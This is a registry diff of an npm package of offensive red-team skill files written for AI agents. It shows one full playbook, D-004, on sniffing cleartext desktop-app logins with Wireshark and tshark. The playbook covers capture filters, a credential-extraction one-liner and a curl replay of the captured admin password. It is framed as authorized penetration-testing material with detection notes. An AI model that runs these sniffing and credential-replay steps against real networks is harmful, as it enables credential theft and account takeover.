rtexit-method 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (224) hide show
  1. package/package.json +9 -7
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/commands/install.js +0 -1
  202. package/tools/installer/lib/asset-manifest.js +10 -5
  203. package/tools/installer/lib/banner.js +14 -6
  204. package/tools/installer/lib/copy-assets.js +5 -2
  205. package/tools/installer/lib/prompts.js +1 -11
  206. package/tools/installer/lib/write-config.js +8 -2
  207. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  210. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  211. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  212. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  213. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  214. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  215. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  216. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  217. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  218. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  219. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  221. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  222. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  223. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  224. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,373 @@
1
+ ---
2
+ name: rt-scenario-d004
3
+ description: "D-004: Desktop App Cleartext Network Traffic → Credential Steal. Domain: desktop. Attack chain: Wireshark capture on app startup → filter by app process → find HTTP (not HTTPS) requests → extract credentials from POST body. MITRE: T1040 → T1552. Real example: Legacy ERP system: login sends user=admin&pass=Password123 in HTTP POST → intercepted in Wireshark"
4
+ ---
5
+
6
+ # D-004: Desktop App Cleartext Network Traffic → Credential Steal
7
+
8
+ ## Overview
9
+
10
+ - **Attack Objective:** Intercept cleartext credentials transmitted by a desktop application over HTTP, capturing authentication data (usernames, passwords, session tokens) from unencrypted network traffic.
11
+ - **Required Access Level:** None (passive sniffing on local network) / Low (local machine access to run capture tools)
12
+ - **Estimated Time to Execute:** 15–30 minutes (setup + capture during login event)
13
+ - **Detection Risk Level:** Low — passive traffic capture generates no alerts in most environments; no direct interaction with the target system required.
14
+
15
+ ---
16
+
17
+ ## Prerequisites
18
+
19
+ ### Required Tools
20
+
21
+ | Tool | Purpose | Install Command |
22
+ |------|---------|----------------|
23
+ | Wireshark | GUI packet capture and protocol dissection | `winget install WiresharkFoundation.Wireshark` (Windows) / `sudo apt install wireshark` (Linux) |
24
+ | tshark | CLI companion to Wireshark for scripted capture | Included with Wireshark install |
25
+ | npcap | Windows packet capture driver (required by Wireshark) | Installed automatically with Wireshark on Windows; select "Install Npcap in WinPcap API-compatible Mode" |
26
+ | Process Monitor (ProcMon) | Identify which network interface/PID the app uses | `winget install Microsoft.Sysinternals.ProcessMonitor` |
27
+ | Burp Suite Community (optional) | Alternative interception via proxy for HTTP/HTTPS | `winget install PortSwigger.BurpSuite` |
28
+ | Python 3 (optional) | Parse pcap files with Scapy for automation | `winget install Python.Python.3` then `pip install scapy` |
29
+
30
+ ### Required Access or Conditions
31
+
32
+ - Local administrator rights (required to install npcap and capture on network interfaces).
33
+ - Physical or logical access to the machine running the desktop application, OR access to a network segment the machine communicates over (e.g., switched network with a span port, hub, or ARP spoofing).
34
+ - The target desktop application must make at least one HTTP (non-TLS) request during the session being captured.
35
+ - Authorized penetration testing engagement with written scope approval.
36
+
37
+ ### Skill Level
38
+
39
+ **BEGINNER** — Wireshark is GUI-driven; no programming required for basic credential extraction. CLI steps (tshark) are INTERMEDIATE.
40
+
41
+ ---
42
+
43
+ ## Attack Chain
44
+
45
+ ```
46
+ [1] Start Wireshark capture on correct interface
47
+ |
48
+ v
49
+ [2] Launch target desktop application
50
+ |
51
+ v
52
+ [3] Filter captured traffic by application process or destination IP
53
+ |
54
+ v
55
+ [4] Identify HTTP (non-HTTPS, port 80) POST requests in stream
56
+ |
57
+ v
58
+ [5] Follow TCP stream / inspect POST body
59
+ |
60
+ v
61
+ [6] Extract plaintext credentials from request body
62
+ ```
63
+
64
+ **MITRE ATT&CK Chain:** T1040 (Network Sniffing) → T1552 (Unsecured Credentials)
65
+
66
+ ---
67
+
68
+ ## Step-by-Step Execution
69
+
70
+ ### Step 1 — Identify the Correct Network Interface
71
+
72
+ Before capturing, confirm which interface carries the application's traffic.
73
+
74
+ **Option A — Wireshark GUI:**
75
+ 1. Open Wireshark.
76
+ 2. On the start screen, observe the live traffic sparklines next to each interface.
77
+ 3. Note the interface showing activity (typically "Ethernet" or "Wi-Fi").
78
+
79
+ **Option B — tshark CLI:**
80
+ ```cmd
81
+ tshark -D
82
+ ```
83
+
84
+ **Expected output:**
85
+ ```
86
+ 1. \Device\NPF_{GUID-1} (Ethernet)
87
+ 2. \Device\NPF_{GUID-2} (Wi-Fi)
88
+ 3. \Device\NPF_Loopback (Adapter for loopback traffic capture)
89
+ ```
90
+
91
+ Note the interface number for the active network adapter.
92
+
93
+ **Fallback:** If unsure, capture on all interfaces temporarily:
94
+ ```cmd
95
+ tshark -i any -w all_interfaces.pcap
96
+ ```
97
+ (Linux only; on Windows capture each interface separately.)
98
+
99
+ ---
100
+
101
+ ### Step 2 — Identify the Application's Target IP or Hostname
102
+
103
+ Before the main capture, do a quick reconnaissance capture while triggering a non-login action in the app (e.g., opening the main screen).
104
+
105
+ ```cmd
106
+ tshark -i 1 -Y "http" -T fields -e ip.dst -e http.host -e http.request.uri
107
+ ```
108
+
109
+ **Expected output:**
110
+ ```
111
+ 192.168.1.50 erp.company.local /api/health
112
+ 192.168.1.50 erp.company.local /assets/logo.png
113
+ ```
114
+
115
+ Note the destination IP (`192.168.1.50`) and hostname (`erp.company.local`) for targeted filtering in later steps.
116
+
117
+ **Fallback:** Use Process Monitor (ProcMon) to find network connections by PID:
118
+ 1. Open ProcMon → Filter → Process Name → contains → `erp_client.exe`
119
+ 2. Look for "TCP Connect" events to identify destination IP and port.
120
+
121
+ ---
122
+
123
+ ### Step 3 — Start a Targeted Capture Session
124
+
125
+ **Option A — Wireshark GUI:**
126
+ 1. Select the correct interface.
127
+ 2. In the capture filter bar (top), enter:
128
+ ```
129
+ host 192.168.1.50 and port 80
130
+ ```
131
+ 3. Click the blue shark-fin Start button.
132
+
133
+ **Option B — tshark CLI (saves to file for later analysis):**
134
+ ```cmd
135
+ tshark -i 1 -f "host 192.168.1.50 and port 80" -w capture_erp.pcap
136
+ ```
137
+
138
+ **Expected output (tshark):**
139
+ ```
140
+ Capturing on 'Ethernet'
141
+ 1 0.000000000 10.0.0.5 → 192.168.1.50 TCP 66 49201 → 80 [SYN]
142
+ ```
143
+
144
+ Leave the capture running. Do NOT log in yet.
145
+
146
+ ---
147
+
148
+ ### Step 4 — Trigger the Login Event in the Target Application
149
+
150
+ 1. Open the target desktop application (e.g., the legacy ERP client).
151
+ 2. Navigate to the login screen.
152
+ 3. Enter test credentials (use credentials authorized for testing, e.g., `testuser` / `TestPass!1`).
153
+ 4. Click Login / Submit.
154
+ 5. Wait for the application to complete the login sequence (success or failure — the POST still fires).
155
+
156
+ The capture will record all traffic during this interaction.
157
+
158
+ ---
159
+
160
+ ### Step 5 — Filter and Locate the HTTP POST Request
161
+
162
+ **Option A — Wireshark GUI:**
163
+ 1. In the display filter bar, enter:
164
+ ```
165
+ http.request.method == "POST"
166
+ ```
167
+ 2. Press Enter.
168
+ 3. Look for packets with Info column showing `POST /login` or similar endpoint.
169
+ 4. Click the packet to select it.
170
+ 5. In the middle pane, expand `Hypertext Transfer Protocol`.
171
+ 6. Expand `HTML Form URL Encoded` or `Line-based text data`.
172
+ 7. Read the form fields directly.
173
+
174
+ **Option B — tshark CLI (post-capture analysis):**
175
+ ```cmd
176
+ tshark -r capture_erp.pcap -Y "http.request.method == POST" -T fields -e http.request.uri -e http.file_data
177
+ ```
178
+
179
+ **Expected output:**
180
+ ```
181
+ /api/auth/login user=admin&pass=Password123&remember=false
182
+ ```
183
+
184
+ **Fallback — Follow TCP Stream (GUI):**
185
+ If the POST body is not visible directly:
186
+ 1. Right-click the HTTP POST packet.
187
+ 2. Select "Follow" → "TCP Stream".
188
+ 3. The full request/response appears in plain text.
189
+ 4. Look for the POST body below the HTTP headers.
190
+
191
+ **Expected stream view:**
192
+ ```
193
+ POST /api/auth/login HTTP/1.1
194
+ Host: erp.company.local
195
+ Content-Type: application/x-www-form-urlencoded
196
+ Content-Length: 42
197
+
198
+ user=admin&pass=Password123&remember=false
199
+ ```
200
+
201
+ ---
202
+
203
+ ### Step 6 — Extract and Record Credentials
204
+
205
+ Copy the credential fields from the POST body. In the example:
206
+
207
+ | Field | Value |
208
+ |-------|-------|
209
+ | Username | `admin` |
210
+ | Password | `Password123` |
211
+ | Endpoint | `http://erp.company.local/api/auth/login` |
212
+ | Method | HTTP POST (cleartext, no TLS) |
213
+
214
+ **Optional — Automated extraction with tshark + Python:**
215
+ ```cmd
216
+ tshark -r capture_erp.pcap -Y "http.request.method == POST" -T fields -e http.file_data 2>nul | python -c "import sys, urllib.parse; [print(urllib.parse.unquote_plus(l.strip())) for l in sys.stdin if l.strip()]"
217
+ ```
218
+
219
+ **Expected output:**
220
+ ```
221
+ user=admin&pass=Password123&remember=false
222
+ ```
223
+
224
+ ---
225
+
226
+ ### Step 7 — Validate Captured Credentials (Optional, in Scope Only)
227
+
228
+ If the engagement scope permits credential validation:
229
+ ```cmd
230
+ curl -X POST http://erp.company.local/api/auth/login -d "user=admin&pass=Password123" -v
231
+ ```
232
+
233
+ **Expected output indicating valid credentials:**
234
+ ```
235
+ HTTP/1.1 200 OK
236
+ Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9...
237
+ {"status":"ok","role":"administrator"}
238
+ ```
239
+
240
+ ---
241
+
242
+ ## Real-World Reference
243
+
244
+ **Legacy ERP System — Cleartext Login:**
245
+
246
+ A legacy ERP desktop client (common in manufacturing and logistics environments, often built pre-2010) connects to an on-premises application server. The client was developed before TLS adoption was standard practice and communicates over plain HTTP on port 80.
247
+
248
+ During a penetration test:
249
+ 1. Tester starts Wireshark on the client workstation.
250
+ 2. The ERP application is launched and the tester logs in.
251
+ 3. Wireshark captures: `POST /erp/login HTTP/1.1` with body `user=admin&pass=Password123`.
252
+ 4. The `admin` account has full access to financial records, HR data, and system configuration.
253
+ 5. The credentials are also reused across other internal systems (credential stuffing risk).
254
+
255
+ **Impact:** Full application compromise, data exfiltration, lateral movement to other systems sharing the same credentials.
256
+
257
+ **Root Cause:** Application was never updated to use HTTPS; no network-layer encryption enforcement (no HSTS, no TLS-only policy on the server).
258
+
259
+ ---
260
+
261
+ ## MITRE ATT&CK Mapping
262
+
263
+ | Step | Tactic | Technique ID | Technique Name | Sub-technique |
264
+ |------|--------|-------------|----------------|---------------|
265
+ | 1–3: Identify interface and start capture | Collection | T1040 | Network Sniffing | — |
266
+ | 4: Trigger login event | Credential Access | T1078 | Valid Accounts | T1078.003 (Local Accounts) — used to log in during testing |
267
+ | 5: Filter HTTP POST traffic | Collection | T1040 | Network Sniffing | — |
268
+ | 6: Extract credentials from POST body | Credential Access | T1552 | Unsecured Credentials | T1552.004 (Private Keys) / T1552.001 (Credentials in Files — analogous for in-transit data) |
269
+ | 7: Validate credentials | Credential Access | T1110 | Brute Force | T1110.001 (Password Guessing — single attempt validation) |
270
+
271
+ **Primary Chain:** T1040 → T1552
272
+
273
+ ---
274
+
275
+ ## Detection & OPSEC
276
+
277
+ ### How This Attack Is Detected
278
+
279
+ | Detection Method | Detail |
280
+ |-----------------|--------|
281
+ | Endpoint DLP / IDS | Network IDS rules (Snort/Suricata) can flag cleartext credential patterns (`user=` + `pass=` in HTTP POST body). |
282
+ | SIEM correlation | Wireshark/tshark process execution on a workstation may trigger alerts if process monitoring (Sysmon Event ID 1) is in place. |
283
+ | Network monitoring | SOC analysts reviewing NetFlow data may notice unusual capture tool behavior or promiscuous mode on a NIC. |
284
+ | EDR alerts | CrowdStrike, Defender for Endpoint, and similar tools may detect npcap installation or tshark execution as anomalous. |
285
+
286
+ ### How to Reduce Detection Risk During Authorized Engagement
287
+
288
+ - Coordinate with the blue team to whitelist the test machine's IP and the tester's activity window before testing.
289
+ - Use a dedicated test workstation that is already scoped for the engagement, not a production machine.
290
+ - Prefer tshark over Wireshark GUI — lower GUI surface area, easier to contain scope.
291
+ - Apply precise capture filters (`host X and port 80`) to limit capture scope and reduce data collected.
292
+ - Do not capture traffic beyond the authorized scope window.
293
+ - Avoid running captures during business hours if stealth testing is not in scope.
294
+
295
+ ### Artifacts Left Behind
296
+
297
+ | Artifact | Location | Notes |
298
+ |----------|----------|-------|
299
+ | `.pcap` capture file | Path specified in `-w` flag (e.g., `capture_erp.pcap`) | Contains raw network packets including credentials |
300
+ | npcap driver | `C:\Windows\System32\drivers\npcap.sys` | Installed as part of Wireshark install |
301
+ | Wireshark recent files list | `%APPDATA%\Wireshark\recent` | Lists recently opened pcap files |
302
